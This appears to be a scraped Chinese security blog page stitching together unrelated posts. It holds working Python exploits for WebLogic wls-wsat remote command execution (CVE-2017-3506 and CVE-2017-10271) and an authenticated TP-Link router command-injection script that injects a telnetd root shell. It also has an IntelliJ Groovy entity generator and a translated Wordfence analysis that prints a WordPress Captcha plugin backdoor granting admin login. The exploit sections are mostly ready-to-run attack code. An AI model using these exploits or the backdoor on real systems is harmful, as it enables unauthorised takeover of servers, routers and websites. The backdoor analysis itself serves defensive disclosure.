WebLogic CVE-2017-3506 Poc

漏洞编号

  • CVE-2017-3506 (wls-wsat 远程命令执行漏洞)

影响版本

  • Oracle WebLogic Server10.3.6.0.0 版本
  • Oracle WebLogic Server12.1.3.0.0 版本
  • Oracle WebLogic Server12.2.1.1.0 版本
  • Oracle WebLogic Server12.2.1.2.0 版本

Poc

#!/usr/bin/env python
# coding:utf-8
# auther:dayu
import requests
import re
from sys import argv

heads = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/wls-wsat/CoordinatorPortType'
    post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
                <void index="2">
                  <string>whoami</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''

    try:
        response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
        response = response.text
        response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
    except Exception, e:
        response = ""

    if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
        result = "test ok"
        return result
    else:
        result = "No Vulnerability"
        return result


if __name__ == '__main__':
    if len(argv) == 1:
        print "python weblogic_poc.py url:port"
        exit(0)
    else:
        url = argv[1]
    result = poc(url=url)
    print result

多款TP-Link产品命令注入漏洞

影响列表

TP-LINK TL-WVR 
TP-LINK TL-WVR300 v4
TP-LINK TL-WVR302 v2
TP-LINK TL-WVR450 
TP-LINK TL-WVR450L 
TP-LINK TL-WVR450G v5
TP-LINK TL-WVR458 
TP-LINK TL-WVR458L 
TP-LINK TL-WVR458P 
TP-LINK TL-WVR900G v3
TP-LINK TL-WVR1200L 
TP-LINK TL-WVR900L 
TP-LINK TL-WVR1300L 
TP-LINK TL-WVR1300G 
TP-LINK TL-WVR1750L 
TP-LINK TL-WVR2600L 
TP-LINK TL-WVR4300L 
TP-LINK TL-WAR450 
TP-LINK TL-WAR302 
TP-LINK TL-WAR2600L 
TP-LINK TL-WAR1750L 
TP-LINK TL-WAR1300L 
TP-LINK TL-WAR1200L 
TP-LINK TL-WAR900L 
TP-LINK TL-WAR458 
TP-LINK TL-WAR450L 
TP-LINK TL-ER5510G v2
TP-LINK TL-ER5510G v3
TP-LINK TL-ER5520G v2
TP-LINK TL-ER5520G v3
TP-LINK TL-ER6120G v2
TP-LINK TL-ER6520G v2
TP-LINK TL-ER6520G v3
TP-LINK TL-ER3210G 
TP-LINK TL-ER7520G 
TP-LINK TL-ER6520G 
TP-LINK TL-ER6510G 
TP-LINK TL-ER6220G 
TP-LINK TL-ER6120G 
TP-LINK TL-ER6110G 
TP-LINK TL-ER5120G 
TP-LINK TL-ER5110G 
TP-LINK TL-ER3220G 
TP-LINK TL-R479P-AC 
TP-LINK TL-R478G+ 
TP-LINK TL-R478G 
TP-LINK TL-R478+ 
TP-LINK TL-R478 
TP-LINK TL-R473GP-AC 
TP-LINK TL-R473P-AC 
TP-LINK TL-R473G 
TP-LINK TL-R473 
TP-LINK TL-R4299G 
TP-LINK TL-R4239G 
TP-LINK TL-R4149G 
TP-LINK TL-R488 
TP-LINK TL-R483 
TP-LINK TL-R483G 
TP-LINK TL-R479GP-AC 
TP-LINK TL-R479GPE-AC 

描述

TP-Link TL-WVR等都是中国普联(TP-LINK)公司的无线路由器产品。 

多款TP-Link产品中存在命令注入漏洞。远程攻击者可通过向cgi-bin/luci发送face字段中带有shell元字符的admin/diagnostic命令利用该漏洞执行任意命令。

利用详情

POST /cgi-bin/luci/;stok=ea2178b4514da7ae227f4ec192536930/admin/diagnostic?form=diag HTTP/1.1
Host: 192.168.3.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.3.1/webpages/index.html
Accept-Encoding: gzip, deflate
Cookie: sysauth=be9b6f2b4b9a76a8a658e108c6197f2c
Connection: close

data=%7B%22method%22%3A%22start%22%2C%22params%22%3A%7B%22type%22%3A%220%22%2C%22type_hidden%22%3A%220%22%2C%22ipaddr_ping%22%3A%22baidu.com%22%2C%22iface_ping%22%3A%22WAN1%22%2C%22ipaddr%22%3A%22baidu.com%22%2C%22iface%22%3A%22%3Btelnetd+-p+24+-l+/bin/sh%22%2C%22count%22%3A%221%22%2C%22pktsize%22%3A%2264%22%2C%22my_result%22%3A%22The+Router+is+ready.%5Cr%5Cn%22%7D%7D

漏洞脚本

exp.py

# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js

import execjs
import requests
import json
import urllib


def read_js():
    file = open("./RSA_Encryption_For_Tplink.js", 'r')
    line = file.readline()
    js = ''
    while line:
        js = js + line
        line = file.readline()
    file.close()
    return js


def execute(ip, port, username, passwd, cmd):

    try:
        s = requests.session()


        uri = "http://{}:{}".format(ip,port)
        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer': 'http://{}/webpages/login.html'.format(ip)
            }
        payload = {
            "method":"get"
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
        rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
        js = read_js()
        js_handle = execjs.compile(js)
        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)


        payload = {
            "method":"login",
            "params":{
                "username":"{}".format(username),
                "password":"{}".format(password)
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
        stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
        cookie = ret.headers['Set-Cookie']


        print '[+] Login success'
        print '[+] Get The Token: ' + stok
        print '[+] Get The Cookie: ' + cookie


        headers = {
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'Referer':'http://{}/webpages/login.html'.format(ip),
            'Cookie':'{}'.format(cookie)
            }
        payload = {
            "method":"start",
            "params":{
                "type":"0",
                "type_hidden":"0",
                "ipaddr_ping":"127.0.0.1",
                "iface_ping":"WAN1",
                "ipaddr":"127.0.0.1",
                "iface":";{}".format(cmd),
                "count":"1",
                "pktsize":"64",
                "my_result":"exploit"
            }
        }
        ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)


        #print ret.text
        print '[+] Finish RCE'
        print '--------------------------------------------------------------'
        return True

    except:
        return False


if __name__=='__main__':
    print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
    print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')

参考

WebLogic CVE-2017-10271 Poc

漏洞编号

  • CVE-2017-10271 (wls-wsat 远程命令执行漏洞)

影响版本

  • Oracle WebLogic Server10.3.6.0.0 版本
  • Oracle WebLogic Server12.1.3.0.0 版本
  • Oracle WebLogic Server12.2.1.1.0 版本
  • Oracle WebLogic Server12.2.1.2.0 版本

Poc

#!/usr/bin/env python
# coding:utf-8
# auther:dayu
import requests
import re
from sys import argv

heads = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/wls-wsat/CoordinatorPortType'
    post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="2">
                <void index="0">
                  <string>/usr/sbin/ping</string>
                </void>
                <void index="1">
                  <string>ceye.com</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''

    try:
        response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
        response = response.text
        response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
    except Exception, e:
        response = ""

    if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
        result = "Vulnerability exist"
        return result
    else:
        result = "No Vulnerability"
        return result


if __name__ == '__main__':
    if len(argv) == 1:
        print "python weblogic_poc.py url:port"
        exit(0)
    else:
        url = argv[1]
    result = poc(url=url)
    print result

idea 根据数据表生成实体类

本代码源码为http://p2j.cn/?p=1856,园长的,然后我优化了下
首先配置idea的数据库链接,然后创建数据库的时候注意加上注释
然后新建Generate Entitys.groovy脚本
1.png

2.png

3.png

然后选择数据表,右键生成

4.png

Generate Entitys.groovy代码

import com.intellij.database.model.DasTable
import com.intellij.database.model.ObjectKind
import com.intellij.database.util.Case
import com.intellij.database.util.DasUtil

/*
 * 默认可用的 context 绑定:
 *   SELECTION   Iterable<DasObject>
 *   PROJECT     project
 *   FILES       files helper
 */

packageName = ""
typeMapping = [
        (~/(?i)tinyint|smallint|mediumint/)      : "Integer",
        (~/(?i)int/)                             : "Long",
        (~/(?i)bool|bit/)                        : "Boolean",
        (~/(?i)float|double|decimal|real/)       : "Double",
        (~/(?i)datetime|timestamp|date|time/)    : "Date",
        (~/(?i)blob|binary|bfile|clob|raw|image/): "InputStream",
        (~/(?i)/)                                : "String"
]

FILES.chooseDirectoryAndSave("Choose directory", "Choose where to store generated files") { dir ->
    SELECTION.filter { it instanceof DasTable && it.getKind() == ObjectKind.TABLE }.each { generate(it, dir) }
}

def generate(table, dir) {
    def className = javaName(table.getName(), true)
    def fields = calcFields(table)
    packageName = getPackageName(dir)
    new File(dir, className + ".java").withPrintWriter { out -> generate(out, className, fields) }
}

/**
 * 获取包名称
 * @param dir 实体类所在目录
 * @return
 */
def getPackageName(dir) {
    return dir.toString().replaceAll("/", ".").replaceAll("^.*src(\\.main\\.java\\.)?", "") + ";"
}

/**
 * 实体类代码生成
 * @param out
 * @param className
 * @param fields
 * @return
 */
def generate(out, className, fields) {
    out.println "package $packageName"
    out.println ""

    Set<String> types = new HashSet<String>()

    fields.each() {
        types.add(it.type)
    }

    if (types.contains("Date")) {
        out.println "import java.util.Date;"
    }

    if (types.contains("InputStream")) {
        out.println "import java.io.InputStream;"
    }

    out.println ""
    out.println "public class $className {"
    fields.each() {
        out.println ""
        if (it.annos != "") out.println "  ${it.annos}"

        // 输出注释
        if (isNotEmpty(it.commoent)) {
            out.println "\t/**"
            out.println "\t * ${it.commoent}"
            out.println "\t */"
        }

        // 输出成员变量
        out.println "\tprivate ${it.type} ${it.name};"
    }

    // 输出get/set方法
    fields.each() {
        out.println ""

        if (isNotEmpty(it.commoent)) {
            out.println "\t/**"
            out.println "\t * 获取${it.commoent}"
            out.println "\t * @return"
            out.println "\t */"
        }

        def actionName = "Boolean".equals(it.type.toString()) ? "is" : "get"

        out.println "\tpublic ${it.type} ${actionName}${it.name.capitalize()}() {"
        out.println "\t\treturn this.${it.name};"
        out.println "\t}"
        out.println ""

        if (isNotEmpty(it.commoent)) {
            out.println "\t/**"
            out.println "\t * 设置${it.commoent}"
            out.println "\t * @param ${it.name}"
            out.println "\t */"
        }
        out.println "\tpublic void set${it.name.capitalize()}(${it.type} ${it.name}) {"
        out.println "\t\tthis.${it.name} = ${it.name};"
        out.println "\t}"
    }
    out.println ""
    out.println "}"
}

def calcFields(table) {
    DasUtil.getColumns(table).reduce([]) { fields, col ->
        def spec = Case.LOWER.apply(col.getDataType().getSpecification())
        def typeStr = typeMapping.find { p, t -> p.matcher(spec).find() }.value
        fields += [[
                           colName : col.getName(),
                           name    : javaName(col.getName(), false),
                           type    : typeStr,
                           commoent: col.getComment(),
                           annos   : ""]]
    }
}

def javaName(str, capitalize) {
    def s = str.split(/[^\p{Alnum}]/).collect { def s = Case.LOWER.apply(it).capitalize() }.join("")
    capitalize ? s : Case.LOWER.apply(s[0]) + s[1..-1]
}

def isNotEmpty(content) {
    return content != null && content.toString().trim().length() > 0
}

代码下载:Generate Entitys.groovy.zip

WordPress商店里面的Captcha插件后门影响超30万站点

popular-wordpress-plugin.png

WordPress存储库最近删除了插件Captcha,这个插件最初看起来是当前作者使用“WordPress”的商标问题 [编者提示:原始页面已被删除,我们现在链接到一个屏幕截图]。名称。

每当WordPress存储库删除一个大用户群的插件,我们检查是否可能是由于某些安全相关的。Wordfence提醒用户,当他们正在运行的任何插件也从WordPress的回购中删除。在被移除的时候,Captcha已经有超过30万次的主动安装,所以它的移除对许多用户有很大的影响。虽然开发者是发布关于插件删除原因的人,但我决定查看插件来源,看看开发者是否有一些犯规行为。我发现了下面的代码:

function cptch_wp_plugin_auto_update()
{
    require_once ('cptch_wp_auto_update.php');
    global $cptch_plugin_info;

    $wptuts_plugin_current_version = $cptch_plugin_info['Version'];
    $wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_pro_update.php';
    $wptuts_plugin_slug = plugin_basename(__FILE__);

    new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
}

此代码触发一个自动更新过程,从一个ZIP文件下载https://simplywordpress[dot]net/captcha/captcha_pro_update.php,然后提取并安装Captcha在现场运行的插件的副本上。ZIP包含一些与插件库中的代码不同的小代码,它还包含一个叫做plugin-update.php后门的文件:

@unlink(__FILE__);

require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}

一个后门文件允许攻击者,或在这种情况下,插件作者,获得未经授权的管理访问您的网站。这个后门创建一个用户ID为1的会话(WordPress首次安装时创建的默认管理员用户),设置身份验证Cookie,然后删除自己。

后门安装代码是未经验证的,意味着任何人都可以触发它。我们将编辑这篇文章,在30天之后包含一个概念证明,并提供关于后门安装和执行的技术细节。

ZIP文件中的其他更改之一是使用开发人员用于安装后门的相同自动更新过程更新URL:

< $wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_pro_update.php';
---
> $wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_free_update.php';

从下拉的代码https://simplywordpress[net]net/captcha/captcha_free_update.php与插件存储库中的代码完全相同,因此触发相同的自动更新过程将删除后门的所有文件系统跟踪,使其看起来好像从不存在并帮助攻击者避免检测。

该插件首先在2017年12月4日下午1:52 UTC在提交@ 1780758将这个恶意代码包含在WordPress插件存储库中:

原文链接:https://www.wordfence.com/blog/2017/12/backdoor-captcha-plugin/